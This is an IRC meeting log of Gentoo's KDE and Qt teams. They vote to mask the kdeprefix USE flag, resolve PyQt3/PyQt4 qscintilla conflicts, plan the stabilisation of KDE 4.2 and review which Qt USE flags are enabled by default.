+[21:33.07] <scarabeus> jmbsvicetto: o hi, i missed ya ;]
+[21:34.09] <scarabeus> ok, since there wont be more devs here around and since alexxy has pretty late hour i would like to go with his kdeprefix stuff
+[21:34.12] <scarabeus> alexxy: please
+[21:34.22] <scarabeus> the topic Solving the final question about kdeprefix.
+[21:34.45] <alexxy> well
+[21:35.34] <tanderson> One thing: I as a amd64 person won't let kde4 go stable on my architecture with kdeprefix available to my users
+[21:35.49] <reavertm> :)
+[21:36.01] <alexxy> he he =)
+[21:36.03] <tanderson> It causes far too many problems
+[21:36.08] <bonsaikitten> tanderson: don't make us go behind your back ;)
+[21:36.18] <reavertm> you even don't know about one problem I know of :P
+[21:36.20] <alexxy> so kdeprefix will cause many headache to users
+[21:36.27] <hwoarang> it does already
+[21:36.28] <tanderson> bonsaikitten: to whom?
+[21:36.29] <alexxy> so lets mask it!
+[21:36.29] <reavertm> (qt4 bug related to plugin loader)
+[21:36.29] <alexxy> =)
+[21:36.35] <scarabeus> also the python issue
+[21:36.42] <scarabeus> plugin loader i personaly HATE
+[21:36.49] <bonsaikitten> tanderson: well, let me put it this way - you're not the only one on amd64 with a commit access ;)
+[21:37.01] <alexxy> bonsaikitten: if we will mask it
+[21:37.12] <scarabeus> user can still unmask it
+[21:37.17] <alexxy> people who want to use still can do it after unmasking
+[21:37.19] <scarabeus> and we already state it deemed evil
+[21:37.20] <tanderson> bonsaikitten: I think I represent the others on my team
+[21:38.01] <scarabeus> :]
+[21:38.03] <jmbsvicetto> scarabeus: I noticed in the back log ;)
+[21:38.13] <scarabeus> ok i think we should vote on it
+[21:38.19] <scarabeus> and if the vote will be keep unmasked
+[21:38.30] <scarabeus> the voting devs must promise to work on the issues with +kdeprefix
+[21:38.34] <scarabeus> aka they will focus on them
+[21:38.42] <scarabeus> not that I with -kdeprefix would fix them
+[21:38.51] <scarabeus> objections?
+[21:39.06] <jmbsvicetto> tanderson: You're forgetting that you can even mask a use flag in a profile ;)
+[21:39.20] <jmbsvicetto> tanderson: so you could always stable kde4 *without* kdeprefix
+[21:39.34] <tanderson> jmbsvicetto: I am aware of that
+[21:39.37] <reavertm> tanderson: and we're not voting on removing kdeprefix - but masking in profiles
+[21:39.51] <reavertm> (as most of devs will unmask it anyway)
+[21:39.51] <yngwin> why not just remove it?
+[21:40.01] <tanderson> I never mentioned removing kdeprefix! I mentioned "being available to my users"
+[21:40.04] <scarabeus> because we use live and stable right now
+[21:40.04] <tanderson> :)
+[21:40.10] <scarabeus> yngwin: aside
+[21:40.11] <jmbsvicetto> scarabeus / reavertm: what issues do you want to fix by masking it?
+[21:40.15] <scarabeus> with help of +kdeprefix
+[21:40.27] <jmbsvicetto> The pykde conflict and?
+[21:40.28] <scarabeus> jmbsvicetto: update strategy, collisions, broken plugins, user confusion
+[21:40.39] <reavertm> jmbsvicetto: just decrease ^^^ impact on average users
+[21:41.08] <jmbsvicetto> ok, I've became tired of fighting this war
+[21:41.23] <jmbsvicetto> I'll let anyone else take this one if they want
+[21:41.39] <scarabeus> i would more of like to convince you rather than tire you :]
+[21:41.44] <jmbsvicetto> But, just for the record, my +kdeprefix laptop is working fine :P
+[21:42.06] <scarabeus> jmbsvicetto: yeah because me and reaver spent quite stuff on prefix stuff, and it is still not 100%
+[21:42.07] <scarabeus> :]
+[21:42.16] <jmbsvicetto> scarabeus: As I've said before, the real solution is to fix upstream build system to allow co-existence of different versions side by side
+[21:42.18] <scarabeus> fist stuff was to be time
+[21:42.23] <reavertm> jmbsvicetto: you're free to go with +kdeprefix if you fix qt plugin loader to not pick oxygen.so from current kde session (and plugin cache stored in .config/Trolltech.conf) instead of using kde4-config --qtplugins
+[21:42.25] <scarabeus> yes on that i agree
+[21:42.41] <scarabeus> jmbsvicetto: well we wont remove it
+[21:42.42] <reavertm> jmbsvicetto: that's no longer build system issue
+[21:42.44] <scarabeus> just mask in profile
+[21:42.47] <scarabeus> anyone can enable it
+[21:42.50] <jmbsvicetto> scarabeus: this way someone might feel "pressured" to start that work ;)
+[21:42.58] <reavertm> they can coexist
+[21:43.09] <reavertm> there's problem with plugin loader
+[21:43.14] <scarabeus> jmbsvicetto: yeah it might motivate pple to work on it so it will get unmasked
+[21:43.14] <jmbsvicetto> reavertm: I mean having them on the same dir, not on separate prefixes
+[21:43.17] <reavertm> and of course with .desktop files
+[21:43.33] <scarabeus> ok guys we are far away from the subject
+[21:43.35] <reavertm> (they all have relative paths in Exec=)
+[21:43.36] <scarabeus> it is mask/not mask
+[21:43.46] * jmbsvicetto abstains
+[21:44.01] <reavertm> in current state kdeprefix is NO GO
+[21:44.21] <reavertm> one can not like it, but this is the fact
+[21:44.25] <scarabeus> jmbsvicetto: you cant you are lead :D
+[21:44.31] <scarabeus> ok please
+[21:44.34] <scarabeus> !herd kde vote
+[21:44.39] <scarabeus> !herd kde
+[21:44.40] <jmbsvicetto> bonsaikitten: what about you?
+[21:44.48] <scarabeus> i hate that bot
+[21:44.50] <scarabeus> seriously
+[21:44.51] <ABCD> scarabeus: Willikins doesn't have +v
+[21:44.53] <jmbsvicetto> scarabeus: give me a minute
+[21:44.55] <wired> rotfl
+[21:44.57] *** scarabeus sets mode: +v Willikins
+[21:44.57] *** jmbsvicetto sets mode: +v wired
+[21:44.57] <reavertm> I've spent already too many hours working on it - if anyone doesn't like it, I'll be happy to pass the work to him
+[21:44.59] <scarabeus> !herd kde
+[21:44.59] <Willikins> (kde) alexxy, carlo, cryos, dagger, deathwing00, jmbsvicetto, keytoaster, patrick, scarabeus, tampakrap, tgurr
+[21:45.04] <scarabeus> O;]
+[21:45.13] <jmbsvicetto> scarabeus: Yeah, blame the bot ;)
+[21:45.15] <bonsaikitten> jmbsvicetto: I prefer kdeprefix, but I don't care enough to fight for it
+[21:45.20] <jmbsvicetto> ok
+[21:45.26] <scarabeus> i vote the mask
+[21:45.39] <jmbsvicetto> scarabeus: How do you plan to mask it?
+[21:45.40] <alexxy> i vote for mask this crap!
+[21:45.45] * wired votes on his dev bug
+[21:45.48] <wired> :D
+[21:45.50] <alexxy> jmbsvicetto: via use.mask
+[21:45.55] <scarabeus> globaly in profile in use.mask
+[21:46.00] <jmbsvicetto> base/use.mask ?
+[21:46.02] <reavertm> I vote to mask it (for now)
+[21:46.03] <scarabeus> yes
+[21:46.14] <jmbsvicetto> Can users unmask it in /etc/portage ?
+[21:46.18] <scarabeus> yes
+[21:46.19] <yngwin> yes
+[21:46.21] <reavertm> as it should have been done at the same begin
+[21:46.24] <jmbsvicetto> iirc, last time one would have to do it in profiles/
+[21:46.28] <jmbsvicetto> ok
+[21:46.34] <yngwin> so it would still be available for those who really want it
+[21:46.40] <jmbsvicetto> I can live with the mask then
+[21:46.56] <ABCD> jmbsvicetto: to unmask, put "-kdeprefix" in /etc/portage/profiles/use.mask
+[21:47.15] <jmbsvicetto> ABCD: ok, thanks
+[21:47.15] <scarabeus> ok somebody around whom didnt vote?
+[21:47.22] <reavertm> ABCD: ssshh, users will hear it :P
+[21:47.24] * jmbsvicetto notices Patrick didn't
+[21:47.25] <yngwin> just make sure the whole thing is properly documented
+[21:47.46] <scarabeus> well the guide will be updated, at least tampakrap_ promised he will do it
+[21:48.00] <Pesa> ABCD: it's profile, not profiles, IIRC
+[21:48.07] <ABCD> ...right
+[21:48.17] <ABCD> I blame my IRC client
+[21:48.17] <scarabeus> bonsaikitten: so say mask/notmask plz
+[21:48.25] <Pesa> ;)
+[21:48.50] <reavertm> directory name is profiles, but calling it 'profile' is common :P
+[21:48.57] <bonsaikitten> scarabeus: abstain
+[21:49.04] *** himikof_ (n=himikof@129.167.249.ozerki.net) Quit (Read error: 104 (Connection reset by peer))
+[21:49.04] <scarabeus> :DDDD
+[21:49.06] <ABCD> reavertm: directory name is profie - I just checked
+[21:49.06] <scarabeus> ok
+[21:49.14] <ABCD> profile*
+[21:49.18] *** himikof_ (n=himikof@129.167.249.ozerki.net) has joined #gentoo-kde
+[21:49.23] <reavertm> (ah, you mean the one in /etc/portage)
+[21:49.28] <Pesa> yes
+[21:49.34] <Pesa> it's profile
+[21:49.37] <scarabeus> ok then it will be masked in profiles
+[21:49.38] <reavertm> nm, so results?
+[21:49.40] <scarabeus> per vote
+[21:49.42] <reavertm> great :P
+[21:49.58] <scarabeus> alexxy: please do the change and according documentation update in the guide
+[21:50.19] <tanderson> sweet
+[21:50.31] <tanderson> Now I can stable kde with a clear conscience
+[21:50.32] <alexxy> he he =)
+[21:50.41] <reavertm> there should be information. about being unable to load oxygen.so and the need of wiping ~/.config/Trolltech.conf
+[21:50.57] <alexxy> so tommorow i'll mask it via profile
+[21:51.03] <scarabeus> alexxy: okey
+[21:51.05] <alexxy> and update guide
+[21:51.06] <alexxy> =)
+[21:51.10] <scarabeus> so this topic is done :]
+[21:51.17] * alexxy realy tired and gonna sleep
+[21:51.24] <scarabeus> next one because we ocupied 2 in the row is for qt herd
+[21:51.29] <scarabeus> topic: Handle the PyQt3 qscintilla dependencies
+[21:51.31] <reavertm> (maybe remove all traces of kdeprefix from guide :)
+[21:51.33] <scarabeus> alexxy: gn
+[21:51.44] <scarabeus> yngwin: hwoarang ^
+[21:51.49] <yngwin> what about it?
+[21:51.56] <scarabeus> it is your topic
+[21:51.58] <hwoarang> messy
+[21:51.59] <yngwin> no
+[21:51.59] <alexxy> gn =)
+[21:52.09] <Pesa> i guess the problem is sip and PyQt-3?
+[21:52.11] <yngwin> nn alexxy
+[21:52.16] <hwoarang> nn alexxy
+[21:52.18] <hwoarang> Pesa: no
+[21:52.27] <hwoarang> pyqt3 requires qscintilla-python[-qt4]
+[21:52.30] <yngwin> so what is the problem?
+[21:52.36] <hwoarang> whilst Pyqt4 requires qscintilla-python[qt4]
+[21:52.41] <yngwin> no it doesnt
+[21:52.47] <hwoarang> sorry?
+[21:52.48] <reavertm> :)
+[21:53.05] <yngwin> PyQt4 does not hard depend on qscintilla
+[21:53.15] <Pesa> indeed
+[21:53.16] <reavertm> the other way around
+[21:53.30] <reavertm> if any..
+[21:53.53] <yngwin> if some app needs qscintilla-python[qt4], yes then there will be a blocker
+[21:54.07] *** SaCu (n=quassel@213-172-122-045.dsl.aktivanet.de) has joined #Gentoo-KDE
+[21:54.08] <hwoarang> this blocker does not exist right now
+[21:54.47] <yngwin> sort of, as you can only have qt4 or -qt4 set on qscintilla-python
+[21:54.55] <Pesa> so the problem is that you can't have both qt3 and qt4 qscintilla installed?
+[21:55.00] <hwoarang> ye
+[21:55.01] <yngwin> indeed
+[21:55.31] <hwoarang> adding qscintilla-python[-qt4] on PyQt
+[21:55.37] <hwoarang> creates a kind of mess
+[21:55.44] <yngwin> meaning you can only have PyQt and PyQt4 side by side as long as nothing needs qscintilla-python[qt4]
+[21:55.47] <hwoarang> well , a mess that users dont get it
+[21:55.51] <hwoarang> yes yngwin
+[21:56.17] *** wilder (n=quassel@host126-104-dynamic.21-87-r.retail.telecomitalia.it) has joined #gentoo-kde
+[21:56.22] <spatz> now that qt3 is removed this should happen less frequently
+[21:56.36] <yngwin> it's not removed
+[21:56.46] <hwoarang> spatz: this wont happen until 2010
+[21:56.49] <spatz> it will be soon, i mean
+[21:56.59] <hwoarang> we will remove qt3 use flag from desktop profile and that is all
+[21:57.05] <spatz> removed from desktop profile
+[21:57.17] <yngwin> ok
+[21:57.28] <hwoarang> but still , the blocker is there
+[21:57.34] <hwoarang> users can have qt3 on make.conf
+[21:58.24] <reavertm> what's the problem here? python bindings collision?
+[21:58.41] <reavertm> qt3 itself resides in separate prefix than qt4
+[21:58.52] <Pesa> no
+[21:58.54] <Pesa> qscintilla-python is fine
+[21:58.55] <yngwin> you can build qscintilla-python only for qt3 OR qt4
+[21:59.01] <Pesa> the problem is qscintilla iirc
+[21:59.11] <reavertm> it's buildsystem doesn't allow that or what?
+[21:59.28] <Pesa> file collisions
+[21:59.48] <Pesa> the buildsystem is simply not designed to do that
+[22:00.03] <scarabeus> adjust the build system
+[22:00.04] <scarabeus> simple
+[22:00.04] <yngwin> it may indeed by qscintilla itself, not the python bindings
+[22:00.17] <yngwin> scarabeus: patches welcome
+[22:00.33] <scarabeus> guys it is your bug :D
+[22:00.39] <reavertm> (a'ka gfy :)
+[22:00.43] <yngwin> then i say: mask for removal :p
+[22:01.15] <yngwin> it's qt3, it's deprecated, i dont want to waste time on it
+[22:01.28] <scarabeus> yngwin: well you are the boss
+[22:01.34] <scarabeus> yngwin: and if hwoarang agree... :]
+[22:02.07] <hwoarang> a real day issue is having amarok-1.4 and eric4
+[22:02.20] <hwoarang> this sounds to me like the most common blocker
+[22:02.25] <yngwin> there are just a few apps that use PyQt-3, most importantly amarok:3.5[python]
+[22:02.28] *** jefferai (n=quassel@amarok/developer/mitchell) has joined #gentoo-kde
+[22:02.30] <hwoarang> yes
+[22:02.38] <hwoarang> amarok is the big pain atm
+[22:02.48] <hwoarang> and many many ppl are using it
+[22:03.02] <scarabeus> and what for are the python bindings
+[22:03.10] <yngwin> scripts i suppose
+[22:03.12] *** scarabeus sets mode: +v jefferai
+[22:03.12] <hwoarang> scripts afaik
+[22:03.28] <scarabeus> jefferai: by any chance you know how important are python bindings in amarok 1?
+[22:03.32] <jmbsvicetto> hwoarang: amarok-1.4 can be deprecated after we get amarok-2 marked stable
+[22:03.43] <yngwin> that will take a while
+[22:03.48] <hwoarang> indeed
+[22:03.51] <jefferai> scarabeus: there are python bindings in amarok 1?
+[22:03.59] <hwoarang> :D
+[22:04.20] <scarabeus> guys this is statement from upstream dev
+[22:04.21] <scarabeus> :D
+[22:04.28] <yngwin> so maybe we can mask python useflag in amarok-1* ?
+[22:04.30] <scarabeus> so i think when they dont care why should we :P
+[22:04.37] <jefferai> well, I'd have to ask
+[22:04.42] <scarabeus> yngwin: yep that i was thinking about
+[22:04.43] <jefferai> the fact that I'm not aware of them doesn't mean...
+[22:05.03] <wired> jefferai: too late :P
+[22:05.08] <jefferai> heh
+[22:05.10] <hwoarang> python masking sounds good to me
+[22:05.12] <spatz> that'll get more users annoyed than having problems with qscintilla, imo
+[22:05.16] *** etix (n=etix@videolan/developer/etix) Quit (Remote closed the connection)
+[22:05.18] *** etix (n=etix@nala.l0cal.com) has joined #gentoo-kde
+[22:05.27] <jmbsvicetto> jefferai: too late, python use flag has already been taken to the alley and beaten up^Dmasked ;)
+[22:05.30] <yngwin> or have the useflag renamed and disabled by default
+[22:05.46] <yngwin> as globally python is enabled by profile
+[22:05.48] <jefferai> what's this for?
+[22:06.14] <scarabeus> jefferai: some bindings probably :]
+[22:06.19] <scarabeus> hopefully just bindings
+[22:06.30] <jefferai> oh
+[22:06.31] <yngwin> jefferai: we have a conflict between dependencies of PyQt3 and PyQt4, and amarok-1 is the biggest consumer of PyQt3 it seems
+[22:06.33] <jefferai> webcontrol
+[22:06.42] <jefferai> bah
+[22:06.46] <jefferai> I don't know of anyone using it
+[22:06.50] <jefferai> at least, that I've ever heard
+[22:07.02] <jefferai> it's some random script that allows web control of Amarok -- I guess
+[22:07.17] *** genewbie (n=genewbie@cpe-76-172-51-77.socal.res.rr.com) has joined #gentoo-kde
+[22:07.17] <jefferai> take a look in the ebuild -- just make sure you keep that rm for the webcontrol script in there
+[22:07.24] <jefferai> so that people don't file bugs asking why it doesn't work/run
+[22:08.08] <scarabeus> we are still on the qscintilla topic? ;P
+[22:08.23] <yngwin> yes
+[22:08.35] <scarabeus> :]
+[22:08.36] <scarabeus> okey
+[22:08.51] *** pgega (n=pgega@77-99-66-168.cable.ubr01.tonb.blueyonder.co.uk) Quit (Client Quit)
+[22:09.04] *** pgega (n=pgega@77-99-66-168.cable.ubr01.tonb.blueyonder.co.uk) has joined #gentoo-kde
+[22:09.14] <yngwin> so i propose useflag s/python/webcontrol/ in amarok-1* ebuilds
+[22:09.43] <yngwin> jmbsvicetto: ^
+[22:09.53] <jmbsvicetto> yngwin: I'd suggest dropping the python flag and removing the scrpit
+[22:09.55] <jmbsvicetto> script*
+[22:10.07] <jefferai> either way
+[22:10.24] <jmbsvicetto> yngwin: I think we should start hinting that users should start moving to amarok-2
+[22:10.45] <scarabeus> yeah 2.1 is already usable on same level i think
+[22:10.55] <yngwin> as long as it's not stable...
+[22:11.28] <scarabeus> it will be next topic
+[22:11.28] <scarabeus> :D
+[22:11.36] <scarabeus> just finish with this one
+[22:11.40] <yngwin> anyway, that will make things easier
+[22:12.18] <yngwin> with that one done, what do we think of mutual blocking of PyQt and PyQt4 to prevent portage tripping over the deeper deps issue?
+[22:12.28] *** gengor (n=gengor@gentoo/developer/gengor) has joined #gentoo-kde
+[22:12.37] <scarabeus> yep that is good idea
+[22:12.40] <jmbsvicetto> yngwin: what apps will that mask?
+[22:12.42] <scarabeus> the block between them
+[22:12.54] <Pesa> sorry guys, my connection is lagging a lot
+[22:12.57] <jmbsvicetto> s/mask/cause slot blocks/
+[22:13.00] <yngwin> it won't mask anything, just force users to choose
+[22:13.15] <jmbsvicetto> yeah, I meant what apps will be affected by that
+[22:13.28] <jmbsvicetto> !rdep PyQt
+[22:13.29] <Willikins> jmbsvicetto: Too many packages have reverse RDEPEND on dev-python/PyQt, go to http://tinderbox.dev.gentoo.org/misc/rindex/dev-python/PyQt instead.
+[22:13.30] <yngwin> !rdep PyQt
+[22:13.30] <jmbsvicetto> !rdep PyQt4
+[22:13.31] <Willikins> jmbsvicetto: Too many packages have reverse RDEPEND on dev-python/PyQt4, go to http://tinderbox.dev.gentoo.org/misc/rindex/dev-python/PyQt4 instead.
+[22:13.31] <Willikins> yngwin: Too many packages have reverse RDEPEND on dev-python/PyQt, go to http://tinderbox.dev.gentoo.org/misc/rindex/dev-python/PyQt instead.
+[22:13.37] <yngwin> :)
+[22:13.44] *** tbeadle (n=quassel@division.aa.arbor.net) Quit (Client Quit)
+[22:13.55] <jmbsvicetto> yngwin: sorry, feeling lazy today ;)
+[22:14.06] <yngwin> kelogviewer, releaseforge, kanyremote
+[22:14.07] <scarabeus> no important crap expect amarok i think
+[22:14.25] <jmbsvicetto> hmm, hplip :\
+[22:14.36] <yngwin> hplip also has qt4 option
+[22:14.49] <ABCD> hplip has qt4 option (and I have it installed, so I know it works)
+[22:14.58] <jmbsvicetto> yeah, sorry just noticed it
+[22:15.02] <spatz> i think there's a bug about the new hplip version not really having qt3 support
+[22:15.23] <scarabeus> he he
+[22:15.24] <scarabeus> :D
+[22:15.50] *** wired|quassel (n=quassel@athedsl-290085.home.otenet.gr) has joined #gentoo-kde
+[22:16.01] *** wired|quassel (n=quassel@athedsl-290085.home.otenet.gr) Quit (Client Quit)
+[22:16.17] *** wired|quassel (n=quassel@athedsl-290085.home.otenet.gr) has joined #gentoo-kde
+[22:16.40] <scarabeus> jmbsvicetto: in case you didnt look yet: http://bugs.gentoo.org/chart.cgi?category=-All-&subcategory=-All-&name=320&label0=Kde-Charting&line0=591&datefrom=&dateto=&action-wrap=Chart+This+List
+[22:16.41] <yngwin> so does anyone have anything against the blocker?
+[22:16.48] <scarabeus> no prob here
+[22:16.51] *** Skim[ihz] (n=skim@skim.static.corbina.ru) Quit (Client Quit)
+[22:16.56] <scarabeus> it looks fine when i compared
+[22:17.06] <hwoarang> i am on board
+[22:17.34] <yngwin> ok, let's do it then
+[22:17.52] <yngwin> next topic :)
+[22:18.02] <scarabeus> okey qt team can touch the amarok for this one i assume ;]
+[22:18.12] <scarabeus> KDE 4 Stabilisation.
+[22:18.15] <scarabeus> quite big
+[22:18.41] <scarabeus> but the bugs are ok, and now we agreed masking the prefix useflag only thing that remains is the kde4 apps out of the kde4 session
+[22:18.53] <scarabeus> reavertm: how we are standing on that bug, i was not paying much attention to it lately
+[22:19.02] <jmbsvicetto> scarabeus: hmm, should I get a chart?
+[22:19.14] <scarabeus> jmbsvicetto: yes for me it draws nice chart
+[22:19.19] <scarabeus> jmbsvicetto: open in anything else than FF
+[22:19.28] <scarabeus> and second thing is what version we will stable
+[22:19.29] <jmbsvicetto> so it only fails on FF?
+[22:19.30] <scarabeus> 4.2 or 4.3
+[22:19.30] <yngwin> wow that is fail
+[22:19.31] *** etix (n=etix@videolan/developer/etix) Quit (Client Quit)
+[22:19.41] <scarabeus> jmbsvicetto: yes
+[22:19.42] <jmbsvicetto> I'd say it depends when we get it done
+[22:19.53] <jmbsvicetto> For the next 2 months I would bet on 4.2.4 and or 4.2.5
+[22:19.59] <scarabeus> jmbsvicetto: well i am testing the 4.2.91 and i am damn impressed
+[22:20.02] <reavertm> they would work with kdeprefix if qt plugin loader wasn't affected - with -kdeprefix (and ~.config/Trolltech.conf wiped out) they are fine
+[22:20.23] <reavertm> another issue is with kde3 .desktop icons in kde4 session
+[22:20.38] <jmbsvicetto> scarabeus: Yeah, but it's too early for it
+[22:20.42] <scarabeus> the guys are really working their asses to make it nice
+[22:20.43] <reavertm> currently nothing is shown (because nothing would work)
+[22:20.49] <scarabeus> well it will be in 1 month around
+[22:20.58] <jmbsvicetto> scarabeus: I guess users that have been waiting for 2 years, can wait another month or two for 4.3 ;)
+[22:20.59] <spatz> and you'll have to wait a month to stabilize it
+[22:21.00] <scarabeus> also the printing dialog is tempting
+[22:21.14] <scarabeus> jmbsvicetto: ok should we vote on the thing or we agree
+[22:21.19] <scarabeus> reavertm: what do you think :]
+[22:21.40] <reavertm> scarabeus: does that printing dialog work for you?
+[22:21.46] <scarabeus> reavertm: nope ;D
+[22:21.47] <jmbsvicetto> I guess I'll make an "executive decision" on this one :P
+[22:21.48] <reavertm> (crashes in my cheoot)
+[22:21.54] <scarabeus> it says that it hate me
+[22:21.58] <scarabeus> it cant chat with cups
+[22:22.02] <reavertm> scarabeus: printing is deferred until fixed :P
+[22:22.04] <scarabeus> even tho i am able to print
+[22:22.18] <scarabeus> jmbsvicetto: okey so decide
+[22:22.29] <reavertm> (so no go for system-config-printer-kde and printer-applet)
+[22:22.30] <scarabeus> jmbsvicetto: fine with me you are elected lead, so you choose global policy:]
+[22:22.41] <jmbsvicetto> 4.2.[4|5] for the next 2 months - after that we can talk about 4.3
+[22:22.42] <scarabeus> reavertm: they are already in the tree by accident ;DDD
+[22:22.53] <reavertm> well, masked they can be
+[22:22.58] <scarabeus> reavertm: some looser already opened bug about it has missing deps ;D
+[22:23.08] <scarabeus> because movetocvs just grab everything with nice version :D
+[22:23.08] <reavertm> good
+[22:23.21] <jmbsvicetto> scarabeus: we should also open the bug asap
+[22:23.26] <scarabeus> jmbsvicetto: ok whom will handle stabling of 4.2 then
+[22:23.57] *** ebola_ (i=ebola@S0106066606660666.su.shawcable.net) has joined #gentoo-kde
+[22:24.01] <jmbsvicetto> what is blocking it?
+[22:24.10] <reavertm> most of kde4 issues
+[22:24.10] <scarabeus> the above thng only
+[22:24.11] *** Skim[ihz] (n=skim@skim.static.corbina.ru) has joined #gentoo-kde
+[22:24.12] <reavertm> :P
+[22:24.23] <scarabeus> running the kde4 apps out of the kde4 session
+[22:24.25] <jmbsvicetto> kde-print?
+[22:24.28] <jmbsvicetto> ah
+[22:24.29] <scarabeus> but it should be addressed already
+[22:24.30] <reavertm> also kdm crashes
+[22:24.40] <scarabeus> yeah kdm is weird crap with -O3
+[22:24.53] <jmbsvicetto> scarabeus: KDE has had issues with -O3 since ever
+[22:25.01] <reavertm> without -O3 as well (but works with new user)
+[22:25.02] <jmbsvicetto> scarabeus: If you look in bugzilla there were a few reports about that
+[22:25.13] *** ebola_ (i=ebola@S0106066606660666.su.shawcable.net) has left <type 'buffer'>
+[22:25.16] <jmbsvicetto> reavertm: are you sure it's not a graphics driver issue?
+[22:25.19] *** InvaderNOP (i=ebola@S0106066606660666.su.shawcable.net) has joined #gentoo-kde
+[22:25.28] <scarabeus> if it works with new user...
+[22:25.41] <jmbsvicetto> yeah, hmm config option?
+[22:25.46] <reavertm> like?
+[22:25.55] *** Civil (n=Civilian@95-24-130-90.broadband.corbina.ru) Quit (Remote closed the connection)
+[22:26.02] <reavertm> anyway, stabilization bug could be opened to track issues
+[22:26.09] <scarabeus> tracker bug
+[22:26.13] <jmbsvicetto> let's open the tracker then
+[22:26.15] <scarabeus> 1 for tracking 2 for stabling
+[22:26.17] <reavertm> personally I wouldn't hurry with stabilization
+[22:26.23] <scarabeus> but whom will wrangle the stuff
+[22:26.31] <scarabeus> i guess tampy wont do second round
+[22:26.33] <reavertm> everyone :P
+[22:26.33] <scarabeus> :]
+[22:26.55] <jmbsvicetto> I suppose you want someone with -kdeprefix O:-)
+[22:27.02] *** andreax (n=andreaz@p57B951A2.dip.t-dialin.net) has joined #gentoo-kde
+[22:27.24] <scarabeus> GRM
+[22:27.37] <yngwin> btw i noticed sabayon is on +kdeprefix
+[22:27.38] <scarabeus> i am definetly sure that i will still target on closing bug than on wrangling them
+[22:27.41] <reavertm> I'd take commit count :D
+[22:27.47] <scarabeus> i am allways depressed about wrangling
+[22:28.06] <scarabeus> yngwin: 5.0 branch is -kdeprefix
+[22:28.09] <jmbsvicetto> scarabeus: oh, looking at bugs? we can all do it
+[22:28.16] <scarabeus> remember that we cooperate at sabayon
+[22:28.18] <yngwin> ok good
+[22:28.26] <scarabeus> s/at/with/
+[22:28.34] <yngwin> yes, thats why i mentioned it
+[22:28.37] <scarabeus> !seen joost-op
+[22:28.39] <Willikins> scarabeus: nope!
+[22:28.53] <scarabeus> !seen joost_op
+[22:28.54] <Willikins> scarabeus: joost_op was last seen 4 days, 45 minutes and 54 seconds ago, quitting IRC (Remote closed the connection)
+[22:29.28] <scarabeus> i already discussed with him about it :]
+[22:29.31] <scarabeus> so problem solved :]
+[22:30.03] <scarabeus> ok i think we have stuff that is needed to be done
+[22:30.15] <scarabeus> and i guess each of us can wrangle some itching bug
+[22:30.25] <scarabeus> i think everything above normal must be assinged there
+[22:30.25] *** haavardw (n=haavardw@cm-84.208.110.202.getinternet.no) Quit (Remote closed the connection)
+[22:30.33] <scarabeus> and rest is up to our decision
+[22:31.26] <scarabeus> anything else to this topic?
+[22:31.28] *** ABCD (n=ABCD@wikipedia/ABCD) Quit (Client Quit)
+[22:31.32] *** ABCD (n=ABCD@wikipedia/ABCD) has joined #gentoo-kde
+[22:31.37] <reavertm> hmm,m what about phonon?
+[22:31.38] *** scarabeus sets mode: +v ABCD
+[22:31.44] <scarabeus> already stable
+[22:31.46] <reavertm> it will be blocker for 4.3 I guess
+[22:31.57] <scarabeus> ah this
+[22:32.07] <scarabeus> it is not issue for 4.2 stable bug for now
+[22:32.17] <scarabeus> even if we might transcendent to 4.3 it can be address later
+[22:33.34] <scarabeus> ok since everyone is silent lets go with next topic
+[22:33.37] <scarabeus> topic: Review the useflags we enable by default in qt herd
+[22:33.44] <scarabeus> yngwin, hwoarang: ^
+[22:33.51] <reavertm> (and in kde as well :P)
+[22:33.59] <scarabeus> i think the +gtkdialog is FKHE#(*%$YU#HR$(*%W#URJTN stupid
+[22:34.03] <scarabeus> it pulls gtk
+[22:34.07] <scarabeus> and that pulls X
+[22:34.10] <scarabeus> on -X install
+[22:34.15] <reavertm> gtktheme you mean?
+[22:34.16] <scarabeus> so instead of 17 deps you have 55
+[22:34.20] <scarabeus> oh theme right
+[22:34.38] <spatz> gtkstyle
+[22:34.45] <reavertm> ah
+[22:34.54] <scarabeus> what ever ;]
+[22:35.14] <spatz> but that's in qt-gui which needs X anyway
+[22:35.25] <hwoarang> :)
+[22:35.49] *** bbroeksema (n=bbroekse@cust-02-5286b4cb.adsl.scarlet.nl) Quit (Remote closed the connection)
+[22:35.57] <Pesa> there's another topic in the agenda about this btw
+[22:36.01] <yngwin> we could rename that to gtk, so it only get enabled by default in desktop profile
+[22:36.17] <spatz> was just about to say that
+[22:36.22] <hwoarang> Pesa: which one
+[22:36.31] <Pesa> review the useflags we enable by default in qt herd
+[22:36.33] <spatz> rename to gtk and not have it on by default
+[22:36.38] *** B-Man1 (n=B-Man@cpe-098-024-241-139.ec.res.rr.com) Quit (Client Quit)
+[22:36.45] <yngwin> Pesa: thats what we're discussing now
+[22:36.52] *** B-Man (n=B-Man@cpe-098-024-241-139.ec.res.rr.com) has joined #gentoo-kde
+[22:37.05] <Pesa> ha
+[22:37.09] <Pesa> i failed
+[22:37.09] <hwoarang> :P
+[22:37.17] <Pesa> i'm getting angry with my ISP
+[22:37.33] <hwoarang> do we really need to enable something by default?
+[22:37.37] <spatz> but gtk isn't the only issue, also dbus, glib, qt3support and others
+[22:37.44] <spatz> they're all enabled by default
+[22:37.54] <hwoarang> dbus is already on profile
+[22:37.56] <scarabeus> qt3support disable guys i think
+[22:38.01] <scarabeus> glib can be disabled too
+[22:38.06] <scarabeus> i live without the later
+[22:38.15] <hwoarang> i cant recall why glib is on
+[22:38.16] <scarabeus> and the former we demand on kde but otherwise it is not needed right?
+[22:38.29] <hwoarang> i think
+[22:39.08] <spatz> the default should be off by default unless there's a good reason, not the way it is right that almost everything is on by default, IMHO
+[22:39.20] <spatz> i'm talking about all qt-* useflags
+[22:39.36] <hwoarang> yes
+[22:39.39] <yngwin> the reasoning why i enabled most of those is to have the default qt4 install have all the functionality that most users would want
+[22:40.04] <hwoarang> define: all the functionality
+[22:40.05] <spatz> most users of qt will have a desktop profile and/or have all the useflags they want enabled
+[22:40.05] <hwoarang> :P
+[22:40.26] <hwoarang> desktop profile enables most of them anyway
+[22:40.42] <scarabeus> i would suggest remove all + and see what it does
+[22:40.48] <scarabeus> and introduce only where really needed
+[22:40.49] <yngwin> yes, so we can drop those that the desktop profile enables
+[22:40.54] <scarabeus> re-introduce
+[22:40.57] <spatz> the current behavious is useless to the average user and annoying to those actually having a benefit from split ebuilds
+[22:40.59] <Pesa> qt3support is enabled by desktop
+[22:41.10] <yngwin> useless??
+[22:41.10] <jmbsvicetto> scarabeus: I don't quite agree
+[22:41.24] <spatz> yes, because he has those useflags enabled anyway
